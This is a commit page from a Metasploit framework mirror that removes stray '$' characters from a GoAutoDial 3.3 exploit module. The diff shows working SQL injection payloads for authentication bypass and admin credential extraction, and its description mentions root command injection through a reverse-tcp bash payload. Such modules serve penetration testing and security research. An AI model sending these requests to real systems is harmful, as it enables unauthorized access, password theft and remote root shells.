infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Stuffed up regex.. left some random $ characters floating around and have now removed them.

bug/bundler_fix
mccurls 2017-06-17 08:03:09 +10:00
parent 6363a319d2
commit 8eb59eac3f
1 changed files with 7 additions and 8 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

15
modules/exploits/linux/http/goautodial_3_rce_command_injection.rb
View File

@ -12,8 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
super(update_info(info,
'Name' => "GoAutoDial 3.3 Authentication Bypass",
'Description' => %q{
This module exploits a SQL injection flaw in the login functionality
for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately.
This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately.
},
'License' => MSF_LICENSE,
'Author' =>
@ -50,7 +49,7 @@ for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command
return Exploit::CheckCode::Vulnerable
end
end
$
def check_version()
send_request_cgi({
'method' => 'GET',
@ -67,12 +66,12 @@ for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command
send_request_cgi({
'method' => 'POST',
'uri' => "/index.php/go_login/validate_credentials",
'headers' =>$
'headers' =>
{
'User-Agent' => 'Mozilla/5.0',
'Accept-Encoding' => 'identity'
},
'vars_post' =>$
'vars_post' =>
{
'user_name' => 'admin',
'user_pass' => "' or '1'='1"
@ -85,7 +84,7 @@ for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command
send_request_cgi({
'method' => 'GET',
'uri' => "/index.php/go_site/go_get_user_info/'%20OR%20active='Y",
'headers' =>$
'headers' =>
{
'User-Agent' => 'Mozilla/5.0',
'Accept-Encoding' => 'identity',
@ -107,7 +106,7 @@ for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command
'Accept-Encoding' => 'identity',
'Cookie' => cookies
}
})$
})
end
#
@ -119,7 +118,7 @@ for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command
if res1 && res1.code == 200
print_good("Authentication Bypass (SQLi) was successful")
else$
else
print_error("Error: Run 'check' command to identify whether the auth bypass has been fixed")
end